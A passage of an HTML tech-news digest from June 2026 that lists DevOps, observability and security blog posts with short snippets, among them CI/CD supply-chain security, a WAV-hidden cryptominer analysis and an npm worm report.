          📄 Securing CI/CD for an open source project: Controlling who runs what
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-securing-cicd-for-an-open-source-project-controlling-who-runs-what"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Part one The last twelve months have been rough on the open source supply chain. Axios was compromised on npm and shipped a remote access trojan inside otherwise normal-looking releases. LiteLLM’s PyP</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 CNCF Blog</strong></p>
<p><a href="https://www.cncf.io/blog/2026/06/04/securing-ci-cd-for-an-open-source-project-controlling-who-runs-what/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-github-copilot-app-the-agent-native-desktop-experience" class="group relative scroll-mt-24">
        <a href="#h3-github-copilot-app-the-agent-native-desktop-experience" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub Copilot app: The agent-native desktop experience
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-github-copilot-app-the-agent-native-desktop-experience"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>At Microsoft Build 2026, GitHub introduced new tools, updates, and surfaces so agents can work the way you already work. The post GitHub Copilot app: The agent-native desktop experience appeared first</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 GitHub Blog</strong></p>
<p><a href="https://github.blog/news-insights/product-news/github-copilot-app-the-agent-native-desktop-experience/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-iac" class="group relative scroll-mt-24">
        <a href="#h2-iac" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🏗️ IaC
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-iac"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-amazon-bedrock-agentcore-runtime-introduces-interactive-shells-for-terminal-access-into-agent-sessions" class="group relative scroll-mt-24">
        <a href="#h3-amazon-bedrock-agentcore-runtime-introduces-interactive-shells-for-terminal-access-into-agent-sessions" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Amazon Bedrock AgentCore Runtime introduces interactive shells for terminal access into agent sessions
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-amazon-bedrock-agentcore-runtime-introduces-interactive-shells-for-terminal-access-into-agent-sessions"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Bedrock AgentCore Runtime now supports interactive shells through a new InvokeAgentRuntimeCommandShell API, opening a persistent, PTY-backed terminal directly into a running agent session over </p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/06/amazon-bedrock-agentcore-runtime/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-trigger-deployments-on-git-tags" class="group relative scroll-mt-24">
        <a href="#h3-trigger-deployments-on-git-tags" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Trigger Deployments on Git Tags
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-trigger-deployments-on-git-tags"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A git tag is how many teams mark a release as ready. Pulumi Deployments can now act on that signal directly: configure a tag-based trigger, push a version tag like v1.2.0, and Pulumi automatically run</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/trigger-deployments-on-git-tags/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-use-your-mac-for-ai-agents-self-host-gemma-4-12-b-with-pulumi-and-tailscale" class="group relative scroll-mt-24">
        <a href="#h3-use-your-mac-for-ai-agents-self-host-gemma-4-12-b-with-pulumi-and-tailscale" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Use Your Mac for AI Agents: Self-Host Gemma 4 12 B with Pulumi and Tailscale
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-use-your-mac-for-ai-agents-self-host-gemma-4-12-b-with-pulumi-and-tailscale"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>If you run AI tools and agents, you’ve probably accepted three tradeoffs: your data leaves your network, you can’t work offline, and your bill scales with usage. Open-weight models now run well on con</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/self-host-gemma4-llama-cpp-k8s-tailscale-pulumi/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-why-choose-pulumi-over-terraform" class="group relative scroll-mt-24">
        <a href="#h3-why-choose-pulumi-over-terraform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Why Choose Pulumi Over Terraform?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-why-choose-pulumi-over-terraform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Terraform is a proven infrastructure as code tool with a large provider and module ecosystem. Many teams choose Pulumi when they want to keep that infrastructure as code model, but write and maintain </p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 Pulumi Blog</strong></p>
<p><a href="https://www.pulumi.com/blog/why-choose-pulumi-over-terraform/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-observability" class="group relative scroll-mt-24">
        <a href="#h2-observability" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📊 Observability
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-observability"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-from-cool-demo-to-production-ready-how-we-made-an-ai-travel-agent-trustworthy-with-new-relic" class="group relative scroll-mt-24">
        <a href="#h3-from-cool-demo-to-production-ready-how-we-made-an-ai-travel-agent-trustworthy-with-new-relic" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 From Cool Demo to Production-Ready: How We Made an AI Travel Agent Trustworthy with New Relic
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-from-cool-demo-to-production-ready-how-we-made-an-ai-travel-agent-trustworthy-with-new-relic"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>A walkthrough of taking an AI Travel Agent (WanderAI) from a demo to production, covering OpenTelemetry tracing, AI monitoring, SLOs, and prompt injection defense.</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/observability/ai-travel-agent-production-ready-new-relic"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-the-future-of-telemetry-in-the-open" class="group relative scroll-mt-24">
        <a href="#h3-building-the-future-of-telemetry-in-the-open" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building the Future of Telemetry in the Open
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-the-future-of-telemetry-in-the-open"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>New Relic Experimental is our open-source incubator designed to bridge the gap between emerging tech and enterprise observability.</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/building-the-future-of-telemetry-in-the-open"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-errors-traces-logs-metrics-when-to-reach-for-what" class="group relative scroll-mt-24">
        <a href="#h3-errors-traces-logs-metrics-when-to-reach-for-what" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Errors, traces, logs, metrics: when to reach for what
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-errors-traces-logs-metrics-when-to-reach-for-what"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Errors, traces, logs, and metrics overlap enough that it&#39;s hard to know which to use. Here&#39;s when to reach for each signal, with a real debugging walkthrough.</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Sentry Blog</strong></p>
<p><a href="https://blog.sentry.io/errors-traces-logs-metrics-when-to-reach-for-what/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-supercharge-sap-on-aws-intelligent-observability-for-the-hybrid-enterprise" class="group relative scroll-mt-24">
        <a href="#h3-supercharge-sap-on-aws-intelligent-observability-for-the-hybrid-enterprise" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Supercharge SAP on AWS: Intelligent Observability for the hybrid enterprise
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-supercharge-sap-on-aws-intelligent-observability-for-the-hybrid-enterprise"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Supercharge SAP on AWS transformation with New Relic&#39;s intelligent observability. Get full-stack visibility across hybrid and RISE with SAP environments.</p>
<p><strong>📅 Jun 3, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/supercharge-sap-on-aws-intelligent-observability-for-the-hybrid-enterprise"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-new-relic-and-microsoft-intelligent-observability-for-the-agentic-era" class="group relative scroll-mt-24">
        <a href="#h3-new-relic-and-microsoft-intelligent-observability-for-the-agentic-era" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 New Relic and Microsoft: Intelligent Observability for the Agentic Era
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-new-relic-and-microsoft-intelligent-observability-for-the-agentic-era"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>See how New Relic and Microsoft are embedding Intelligent Observability into Azure workflows and what we’ve built for teams deploying AI in production.</p>
<p><strong>📅 Jun 2, 2026</strong> • <strong>📰 New Relic Blog</strong></p>
<p><a href="https://newrelic.com/blog/news/microsoft-build-2026"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-security" class="group relative scroll-mt-24">
        <a href="#h2-security" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          🔐 Security
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-security"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="group relative scroll-mt-24">
        <a href="#h3-threats-making-wavs-incident-response-to-a-cryptomining-attack" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Threats Making WAVs - Incident Response to a Cryptomining Attack
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-threats-making-wavs-incident-response-to-a-cryptomining-attack"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Guardicore security researchers describe and uncover a full analysis of a cryptomining attack, which hid a cryptominer inside WAV files. The report includes the full attack vectors, from detection, in</p>
<p><strong>📅 Jun 8, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/threats-making-wavs-incident-reponse-cryptomining-attack"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-is-ai-governance-frameworks-principles-and-best-practices" class="group relative scroll-mt-24">
        <a href="#h3-what-is-ai-governance-frameworks-principles-and-best-practices" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What is AI Governance? Frameworks, Principles, and Best Practices
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-ai-governance-frameworks-principles-and-best-practices"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AI agents are moving fast. According to our State of Agentic AI report, 60% of organizations already have AI agents in production, yet 40% cite security and compliance as the number-one barrier to sca</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Docker Blog</strong></p>
<p><a href="https://www.docker.com/blog/what-is-ai-governance/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-secure-code-warrior-leverages-ai-to-extend-devsecops-training-reach" class="group relative scroll-mt-24">
        <a href="#h3-secure-code-warrior-leverages-ai-to-extend-devsecops-training-reach" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Secure Code Warrior Leverages AI to Extend DevSecOps Training Reach
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-secure-code-warrior-leverages-ai-to-extend-devsecops-training-reach"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Secure Code Warrior this week extended the capability of its artificial intelligence (AI) agent to make it possible to surface relevant training insights in real time as application developers are wri</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/secure-code-warrior-leverages-ai-extend-devsecops-training-reach/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-build-security-into-itops-from-the-start-with-automation" class="group relative scroll-mt-24">
        <a href="#h3-build-security-into-itops-from-the-start-with-automation" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Build security into ITOps from the start with automation
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-build-security-into-itops-from-the-start-with-automation"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>It&#39;s no secret that IT operations is a complex area. Teams face demanding workloads, where many tasks have to be completed quickly. Objectives typically focus on smooth and resilient operations, and e</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/build-security-itops-start-automation"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-planning-your-path-forward-from-amazon-linux-2-why-consistency-is-the-ultimate-upgrade" class="group relative scroll-mt-24">
        <a href="#h3-planning-your-path-forward-from-amazon-linux-2-why-consistency-is-the-ultimate-upgrade" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Planning your path forward from Amazon Linux 2: Why consistency is the ultimate upgrade
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-planning-your-path-forward-from-amazon-linux-2-why-consistency-is-the-ultimate-upgrade"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Amazon Linux 2 reaches end of life (EOL) on June 30, 2026. If your migration isn&#39;t already underway, the window to move deliberately rather than reactively is narrowing. Migrating business-critical wo</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/planning-your-path-forward-amazon-linux-2-why-consistency-ultimate-upgrade"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-june-5-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-june-5-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — June 5, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-june-5-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>InfoWorld - IBM and Red Hat want to become the ‘security clearinghouse’ for open source applications in the enterpriseInfoWorld looks at IBM and Red Hat&#39;s Project Lightwell, a $5 billion initiative ba</p>
<p><strong>📅 Jun 5, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-june-5-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-so-you-have-an-ai-security-budget-now-what" class="group relative scroll-mt-24">
        <a href="#h3-so-you-have-an-ai-security-budget-now-what" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 So You Have an AI Security Budget. Now what?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-so-you-have-an-ai-security-budget-now-what"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>An AI security budget should fund more than visibility. The real priority is unified governance and enforcement across agentic development and production apps.</p>
<p><strong>📅 Jun 4, 2026</strong> • <strong>📰 Snyk Blog</strong></p>
<p><a href="https://snyk.io/blog/ai-security-budget/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-node-gyp-supply-chain-compromise-a-self-propagating-npm-worm-that-hides-in-bindinggyp" class="group relative scroll-mt-24">
        <a href="#h3-node-gyp-supply-chain-compromise-a-self-propagating-npm-worm-that-hides-in-bindinggyp" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Node-gyp Supply Chain Compromise: A Self-Propagating npm Worm That Hides in binding.gyp
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-node-gyp-supply-chain-compromise-a-self-propagating-npm-worm-that-hides-in-bindinggyp"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
